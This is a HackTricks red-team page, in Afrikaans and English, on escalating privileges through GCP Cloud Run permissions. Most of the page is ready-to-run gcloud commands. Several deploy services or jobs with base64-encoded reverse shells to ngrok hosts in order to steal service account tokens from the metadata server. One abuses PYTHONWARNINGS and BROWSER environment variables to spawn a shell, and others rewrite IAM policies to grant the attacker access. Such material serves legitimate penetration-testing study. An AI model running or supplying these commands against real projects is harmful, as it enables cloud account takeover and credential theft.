GCP - Run Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Cloud Run

Vir meer inligting oor Cloud Run, sien:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

’n aanvaller met hierdie permissies kan ’n run service skep wat arbitrary code uitvoer (arbitrary Docker container), ’n Service Account daaraan koppel en die kode laat exfiltrate the Service Account token from the metadata.

An exploit script for this method can be found here and the Docker image can be found here.

Let wel dat wanneer jy gcloud run deploy gebruik in plaas van net die diens te skep, dit die update permissie benodig. Kyk na ’n example here.

run.services.update , iam.serviceAccounts.actAs

Soos die vorige een maar deur ’n diens op te dateer:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:22.04 \  # Make sure to use an ubuntu version that includes python3
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Gee jouself verhoogde toestemmings op cloud Run.

# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1

# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1

# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

Voer ’n job uit met ’n reverse shell om die service account wat in die opdrag aangedui word te steel. Jy kan ’n exploit here vind.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Soortgelyk aan die vorige is dit moontlik om ’n job op te dateer en die SA op te dateer, die opdrag te wysig en dit uit te voer:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

Gee jouself die vorige regte oor Cloud Jobs.

# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1

# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1

# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

Misbruik die env variables van ’n job-uitvoering om arbitrêre kode uit te voer en ’n reverse shell te kry om die inhoud van die container (source code) te dump en toegang tot die SA in die metadata te kry:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks